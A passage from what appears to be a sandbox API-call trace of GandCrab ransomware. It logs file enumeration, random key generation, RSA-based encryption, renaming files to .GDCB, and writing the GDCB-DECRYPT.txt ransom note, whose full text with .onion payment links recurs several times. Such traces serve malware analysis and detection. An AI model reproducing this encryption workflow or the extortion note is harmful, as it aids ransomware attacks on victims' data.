http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.046] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.047] CloseHandle (hObject=0x510) returned 1 [0171.048] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\GDCB-DECRYPT.txt") returned 256 [0171.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\GDCB-DECRYPT.txt") returned 256 [0171.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\GDCB-DECRYPT.txt") returned 256 [0171.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\GDCB-DECRYPT.txt") returned 256 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.048] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.048] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\store.vol") returned 249 [0171.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\store.vol") returned 249 [0171.048] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.chk") returned 247 [0171.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.chk") returned 247 [0171.048] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log") returned 247 [0171.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log") returned 247 [0171.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log") returned 247 [0171.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log") returned 247 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="desktop.ini") returned 1 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="autorun.inf") returned 1 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="ntuser.dat") returned 1 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="iconcache.db") returned 1 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="bootsect.bak") returned 1 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="boot.ini") returned 1 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="ntuser.dat.log") returned 1 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="thumbs.db") returned 1 [0171.048] lstrcmpiW (lpString1="USS.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.048] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\uss.log")) returned 0x20 [0171.049] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log", dwFileAttributes=0x20) returned 1 [0171.052] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0171.053] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.053] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.053] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.053] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.053] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.054] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.054] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.054] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.054] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0171.056] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x618268) returned 1 [0171.056] CryptGetKeyParam (in: hKey=0x618268, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.056] CryptEncrypt (in: hKey=0x618268, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b90000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b90000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.057] GetLastError () returned 0x0 [0171.057] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.057] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0171.059] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617de8) returned 1 [0171.059] CryptGetKeyParam (in: hKey=0x617de8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.059] CryptEncrypt (in: hKey=0x617de8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ba0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2ba0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.059] GetLastError () returned 0x0 [0171.059] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.059] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\uss.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0171.062] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2bb0000 [0171.062] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2bc0000 [0171.063] ReadFile (in: hFile=0x514, lpBuffer=0x2bc0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2bc0000*, lpNumberOfBytesRead=0x285d3e8*=0x100000, lpOverlapped=0x0) returned 1 [0171.085] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2cd0000 [0171.175] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\uss.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\uss.log.gdcb")) returned 1 [0171.178] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USSres00001.jrs") returned 255 [0171.178] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USSres00001.jrs") returned 255 [0171.179] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USSres00002.jrs") returned 255 [0171.179] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USSres00002.jrs") returned 255 [0171.179] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log") returned 250 [0171.179] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log") returned 250 [0171.179] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log") returned 250 [0171.179] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log") returned 250 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="desktop.ini") returned 1 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="autorun.inf") returned 1 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="ntuser.dat") returned 1 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="iconcache.db") returned 1 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="bootsect.bak") returned 1 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="boot.ini") returned 1 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="ntuser.dat.log") returned 1 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="thumbs.db") returned 1 [0171.179] lstrcmpiW (lpString1="USStmp.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.179] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\usstmp.log")) returned 0x20 [0171.179] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log", dwFileAttributes=0x20) returned 1 [0171.182] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0171.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.183] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.183] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.183] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.183] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.184] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.184] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.184] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.184] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.184] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0171.186] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617be8) returned 1 [0171.186] CryptGetKeyParam (in: hKey=0x617be8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.186] CryptEncrypt (in: hKey=0x617be8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b90000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b90000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.187] GetLastError () returned 0x0 [0171.187] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.187] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0171.190] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617d68) returned 1 [0171.190] CryptGetKeyParam (in: hKey=0x617d68, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.190] CryptEncrypt (in: hKey=0x617d68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ba0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2ba0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.190] GetLastError () returned 0x0 [0171.190] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.190] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\usstmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0171.192] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2bb0000 [0171.193] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2bc0000 [0171.193] ReadFile (in: hFile=0x514, lpBuffer=0x2bc0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2bc0000*, lpNumberOfBytesRead=0x285d3e8*=0x100000, lpOverlapped=0x0) returned 1 [0171.245] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2cd0000 [0171.348] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\usstmp.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\usstmp.log.gdcb")) returned 1 [0171.351] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 239 [0171.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 239 [0171.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 239 [0171.351] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 239 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.351] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.351] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.351] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.351] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.351] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.352] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\\\GDCB-DECRYPT.txt") returned 247 [0171.352] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0171.354] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.355] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d6ac, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d6ac*=0xad6, lpOverlapped=0x0) returned 1 [0171.356] CloseHandle (hObject=0x50c) returned 1 [0171.356] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.356] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.356] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.356] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.356] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\\\GDCB-DECRYPT.txt") returned 254 [0171.356] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.359] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following 